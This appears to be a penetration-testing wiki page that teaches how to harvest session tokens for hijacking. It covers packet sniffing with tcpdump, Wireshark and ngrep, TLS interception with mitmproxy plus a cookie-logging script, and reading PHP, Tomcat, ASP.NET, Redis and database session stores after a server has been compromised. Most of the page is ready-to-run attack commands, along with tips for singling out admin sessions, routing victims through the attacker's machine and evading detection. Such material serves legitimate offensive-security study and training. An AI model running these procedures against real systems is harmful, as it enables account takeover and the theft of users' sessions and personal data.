Skip to content

Obtaining Tokens

Before you can hijack a session, you need the identifier. Four harvest paths, each with different prerequisites:

# 1. Passive sniffing - plaintext HTTP on a network you control
sudo tcpdump -i eth0 -A -s0 'tcp port 80' | grep -i 'auth-session\|PHPSESSID\|JSESSIONID'
# Or: sudo wireshark, filter http, search packet bytes
# 2. Active MitM - TLS via fake cert (warns the victim unless you've planted your CA)
mitmproxy -p 8080
# (combined with ARP spoofing, DNS spoofing, or PAC injection to route victim through you)
# 3. Post-exploitation - files on a compromised app server
ls /var/lib/php/sessions/ # PHP default
cat /var/lib/php/sessions/sess_<id> # session file contents
find / -name 'SESSIONS.ser' 2>/dev/null # Tomcat
ls "C:\inetpub\temp\IIS Temporary..." # .NET InProc
# 4. Database - compromised DB with sessions table
SELECT * FROM sessions; # generic
SELECT * FROM django_session; # Django
SELECT id, payload FROM sessions; # Laravel (base64-encoded payload)

Success indicator: a valid, current session identifier in hand, ready for hijacking.

CategoryPrereqDetection signal
Passive sniffingNetwork position + plaintext trafficNone on the wire - perfectly passive
Active MitMNetwork position + TLS-defeating capabilityBrowser cert warnings (unless CA installed)
Post-exploit retrievalCode execution on the app serverFilesystem audit logs
Database extractionDB read accessDB query logs
XSS exfiltrationStored or reflected XSS + HttpOnly not setOutbound request to attacker domain (see XSS to Session)
Open redirect token leakOpen redirect + tokens travel in URLs/POSTsOutbound request to attacker domain (see Open Redirect)

This page covers the first four. XSS and open redirect get their own pages because their mechanics are richer.

Wireshark is the canonical packet capture and analysis tool. For session-cookie harvesting:

Terminal window
sudo -E wireshark

(-E preserves the environment so the GUI launches with X11 access when run from a user shell with sudo.)

Pick the interface that sees the victim’s traffic:

  • eth0 / enp*s* - wired Ethernet on attacker’s host
  • wlan0 / wlp*s* - wireless (only sees broadcast / your own; rarely useful unless you’re on the same SSID and the AP isn’t isolating clients)
  • tun0 - VPN tunnel (useful in HTB-style lab environments where the lab is on a shared tun network)
  • lo - loopback (only useful if you’re proxying victim traffic to localhost first)

For a real on-network attack, the interface needs to be in promiscuous mode and you need ARP spoofing (with arpspoof / ettercap) to redirect victim traffic through you - or you’re on a hub-like network (rare in 2024).

Wireshark’s display filter (top bar) accepts BPF-like syntax. The useful filters:

FilterEffect
httpAll HTTP traffic
http.cookieRequests with Cookie headers
http.set_cookieResponses with Set-Cookie headers
http contains "auth-session"Substring match on packet payload
http.host == "target.com"Requests to a specific host
tcp.port == 80Plaintext HTTP TCP traffic

Once filtered, click any packet, scroll to the Hypertext Transfer Protocol section, expand the headers, and the cookie value is visible in plain text.

Edit → Find Packet → “Packet bytes” → “String” → enter auth-session or whatever the cookie name is. Wireshark jumps to the first match. Press Ctrl+N to find the next.

To copy the cookie value: right-click the cookie line in the packet detail → Copy → Value.

For headless/SSH sessions where Wireshark’s GUI isn’t available:

Terminal window
# Capture full HTTP traffic to file
sudo tcpdump -i eth0 -w /tmp/capture.pcap 'tcp port 80'
# Live tail of plaintext HTTP with payload
sudo tcpdump -i eth0 -A -s0 'tcp port 80'
# Filter for cookies in real-time
sudo tcpdump -i eth0 -A -s0 'tcp port 80' \
| grep -A2 -i 'cookie:'

Flags:

  • -i eth0 - interface
  • -A - print ASCII payload
  • -s0 - full packet (no truncation)
  • -w file.pcap - write to pcap, open in Wireshark later

For a focused capture targeting a specific host:

Terminal window
sudo tcpdump -i eth0 -A -s0 'tcp port 80 and host target.com'
Terminal window
# Quick text-based session extraction
tshark -r capture.pcap -Y 'http.cookie' \
-T fields -e http.cookie -e http.host
# Or use ngrep for grep-style on packets
sudo ngrep -d eth0 -W byline 'auth-session' 'tcp port 80'

ngrep is the simplest tool when you know exactly what you’re looking for and just want it on stdout.

mitmproxy is the standard tool for actively decrypting TLS traffic. Two pre-conditions:

  1. Routing - victim traffic has to go through your machine (via PAC file, ARP spoofing, malicious WiFi AP, network compromise)
  2. Trust - victim’s browser has to trust your CA cert, OR you must accept that the browser will warn the victim (“Your connection is not secure”)
Terminal window
# Run mitmproxy on port 8080
mitmproxy -p 8080

The interactive UI shows every request as it flows through. Sessions / cookies are visible per-request in the Headers tab.

If you’re running an attack in your own lab (penetration test with consent):

http://mitm.it

Browse to this URL with the victim’s browser while proxied through mitmproxy. Download the CA cert for the OS / browser, install it as trusted. Now mitmproxy can transparently decrypt TLS - no warning at all.

In a hostile-network red-team context, “installing the CA” usually means social engineering (“install this corporate certificate”), endpoint compromise (planting the cert in trusted-roots), or no installation at all (accept the warnings and rely on the user to dismiss them).

Inside mitmproxy, use the filter ~h "cookie" to show only requests with a Cookie header. The interactive UI then lets you press Enter on any request to see the full headers.

For automated harvesting:

Terminal window
# Headless mitmdump with a custom script
mitmdump -p 8080 -s extract_cookies.py
extract_cookies.py
def request(flow):
cookie = flow.request.headers.get("cookie", "")
if cookie:
print(f"[{flow.request.host}] {cookie}")

Every request through the proxy now logs its cookie header.

Once you have code execution on the application server (via RCE, webshell, SSH key compromise, etc.), session stores are usually on disk in known locations. Read them, get every active user’s cookie at once.

Default config:

session.save_handler = files
session.save_path = "/var/lib/php/sessions"

(Confirm with cat /etc/php/*/apache2/php.ini | grep session.save_path or php -i | grep session.save_path.)

Session files are named sess_<SESSIONID>:

Terminal window
$ ls /var/lib/php/sessions/
sess_s6kitq8d3071rmlvbfitpim9mm
sess_a7m2nf2qb921ssm0adlvqkj9oo
sess_e1f3oo5xk071enmzbflv5kp8dd

The filename sess_<X> tells you the session cookie value is <X>. So:

Terminal window
# Every active session, as cookie name=value pairs
$ ls /var/lib/php/sessions/ | grep ^sess_ | sed 's/^sess_/PHPSESSID=/'
PHPSESSID=s6kitq8d3071rmlvbfitpim9mm
PHPSESSID=a7m2nf2qb921ssm0adlvqkj9oo
PHPSESSID=e1f3oo5xk071enmzbflv5kp8dd

The session file content tells you whose session it is:

Terminal window
$ cat /var/lib/php/sessions/sess_s6kitq8d3071rmlvbfitpim9mm
user|s:5:"admin";logged_in|b:1;email|s:18:"[email protected]";

PHP serializes session data with its own format. The above means:

  • user (string, 5 chars): “admin”
  • logged_in (bool): 1 (true)
  • email (string, 18 chars): “[email protected]

This is the admin’s session. Take the cookie value (s6kitq8d3071rmlvbfitpim9mm), use it from your browser → admin.

Terminal window
# Find sessions with admin/role/privilege markers
$ grep -lE 'admin|role.*1|is_admin.*b:1' /var/lib/php/sessions/sess_*
/var/lib/php/sessions/sess_s6kitq8d3071rmlvbfitpim9mm
# Show file modification times - recently active = recently logged-in
$ ls -lt /var/lib/php/sessions/sess_* | head -10

Recent files are active users. Match against grep for admin-y content and you’ve found high-value targets.

Tomcat’s default session manager keeps sessions in memory, persisted to disk on shutdown to <CATALINA_BASE>/work/Catalina/<host>/<context>/SESSIONS.ser:

Terminal window
$ find / -name 'SESSIONS.ser' 2>/dev/null
/opt/tomcat/work/Catalina/localhost/myapp/SESSIONS.ser

SESSIONS.ser is a Java serialized blob - not directly readable as text. Tools:

Terminal window
# Try `strings` first - sometimes session attributes are stored as Java strings
strings /opt/tomcat/work/Catalina/localhost/myapp/SESSIONS.ser \
| grep -iE 'JSESSIONID|user|admin|token'

For full parsing, you need a Java deserializer that understands Tomcat’s StandardSession. Tools like ysoserial’s payload-generation crowd or custom Java code are needed.

For active sessions (not just the persisted snapshot), they live in JVM memory - you’d need a memory dump (jmap, gcore) and a Java deserializer to walk the heap. Out of scope for normal session harvesting.

Many Tomcat deployments expose /manager/html with admin/manager credentials. If you have access there, the “Sessions” subpage lists active session IDs:

http://target/manager/html

Active session IDs are visible per-application. No serialized-blob parsing required.

ASP.NET has three session storage modes (controlled by <sessionState mode="...">):

ModeStorageRetrieval path
InProcIIS worker process memory (w3wp.exe or aspnet_wp.exe)Memory dump of the worker process
StateServerA Windows service (aspnet_state) on the same host or a separate oneConnect to TCP 42424 (default state-service port) or dump the state-service process
SQLServerA SQL Server database (table ASPStateTempSessions)SQL query against that DB
CustomWhatever the app implementsRead the app’s code to find the store
Terminal window
# Find the IIS worker process PID
> tasklist /FI "IMAGENAME eq w3wp.exe"
# Dump the process memory
> procdump -ma <PID> w3wp.dmp
# Strings on the dump
> strings w3wp.dmp | findstr /i "ASP.NET_SessionId"

This recovers session IDs from active in-memory sessions. The session data is serialized in a format you may need to parse with Sscanf/BinaryFormatter knowledge.

SELECT SessionId, Created, Expires, LockDateLocal, SessionItemShort
FROM ASPStateTempSessions
WHERE Expires > GETDATE();

SessionItemShort is a varbinary blob; for sessions over 7000 bytes, content overflows to SessionItemLong. The blob is the BinaryFormatter-serialized session - same parsing concerns as in-memory mode.

For session-cookie hijacking, often you don’t need to parse the blob at all - SessionId alone is enough. Take that value and use it as the ASP.NET_SessionId cookie.

Default storage is in-memory (process-local). Distributed apps use:

  • connect-redis - sessions stored in Redis
  • connect-mongo - in MongoDB
  • connect-session-sequelize - in SQL via Sequelize

Hunt for the store first:

Terminal window
# Redis (default port 6379, often no auth)
redis-cli
> KEYS sess:*
> GET sess:abc123
"{\"user\":\"admin\",\"logged_in\":true}"
# MongoDB
mongo
> use myapp
> db.sessions.find({}).pretty()
FrameworkDefault store path
DjangoDB table django_session (default) or file /var/lib/django/sessions/
RailsDB table sessions (legacy) or signed cookies (modern)
Laravelstorage/framework/sessions/ (file) or DB sessions table
FlaskSigned cookies (no server-side store by default) - see Auth: session fixation for sig-forgery
Symfony/var/cache/<env>/sessions/

When in doubt, check the framework’s config files for session_store or SESSION_* env vars.

When you have SQL access via injection or stolen DB credentials:

-- Generic table discovery
SHOW TABLES; -- MySQL
\dt -- PostgreSQL
.tables -- SQLite
SELECT name FROM sysobjects WHERE xtype='U'; -- MSSQL
-- Look for sessions
SELECT * FROM sessions;
SELECT * FROM user_sessions;
SELECT * FROM auth_sessions;
SELECT * FROM all_sessions;
SELECT * FROM django_session;

If the table is named ambiguously, look for columns that smell like session columns:

-- Postgres / generic
SELECT table_name, column_name
FROM information_schema.columns
WHERE column_name ILIKE '%session%' OR column_name ILIKE '%token%';

Once you have rows, the cookie value is typically in a column named id, session_id, key, or payload:

SELECT id, user_id, payload FROM sessions WHERE user_id = 1;

If payload is a serialized blob (PHP serialize, base64-encoded JSON, Java-serialized object), the meaningful data is inside but the cookie value you need is the id column.

SELECT session_key, session_data, expire_date FROM django_session
WHERE expire_date > NOW();

session_key is the cookie value. session_data is a base64-encoded, signed-then-pickled (or signed-then-JSON) blob. The cookie value (session_key) is enough for hijacking - you don’t need to decode the data.

SELECT id, user_id, payload, last_activity FROM sessions
ORDER BY last_activity DESC;

The cookie name is laravel_session and the cookie value is the id column (after URL-decoding the Laravel-encrypted-cookie wrapper, which is annoying - see Laravel’s app_key handling for details).

Always work in a private window or fresh profile

Section titled “Always work in a private window or fresh profile”

When you harvest a cookie and want to test it, open a private/incognito window. Mixing the victim’s cookie into your normal browser’s cookie jar confuses both you and the app.

Sessions expire. Recently-modified session files / recently-written DB rows are most likely to still be valid. Older ones are likely expired even if they’re still on disk (some frameworks don’t clean up until next request).

Apps that allow concurrent sessions store multiple records per user. Find the one for the target device:

  • IP address column (if present) - match to the victim’s known IP
  • User-agent column - match to the device they’re known to use
  • Last activity column - most recent is most likely active

Post-exploitation harvesting is loud:

  • Reading every session file takes I/O
  • DB queries on session tables show up in DB logs
  • mitmproxy / Wireshark are visible to anyone running an IDS

For stealth: minimize, target specific known-victim sessions if you know who you want, do passive sniffing where possible, avoid bulk-reading entire session directories.

TaskCommand
Wireshark GUIsudo -E wireshark, filter http.cookie
tcpdump full payloadsudo tcpdump -i eth0 -A -s0 'tcp port 80'
ngrep for a patternsudo ngrep -d eth0 -W byline 'auth-session' 'tcp port 80'
Read pcap for cookiestshark -r cap.pcap -Y http.cookie -T fields -e http.cookie
mitmproxy interactivemitmproxy -p 8080
mitmproxy scriptedmitmdump -p 8080 -s extract.py
PHP session filesls /var/lib/php/sessions/sess_*
PHP find admin sessionsgrep -lE 'admin|is_admin' /var/lib/php/sessions/sess_*
Tomcat sessions on diskfind / -name SESSIONS.ser 2>/dev/null
.NET InProc dumpprocdump -ma <w3wp PID> dump.dmp
.NET SQLServer modeSELECT SessionId FROM ASPStateTempSessions WHERE Expires > GETDATE()
Redis session storeredis-cli KEYS 'sess:*'
Django sessionsSELECT session_key FROM django_session WHERE expire_date > NOW()
Laravel sessionsSELECT id, user_id FROM sessions ORDER BY last_activity DESC
Generic discoverySELECT table_name, column_name FROM information_schema.columns WHERE column_name ILIKE '%session%'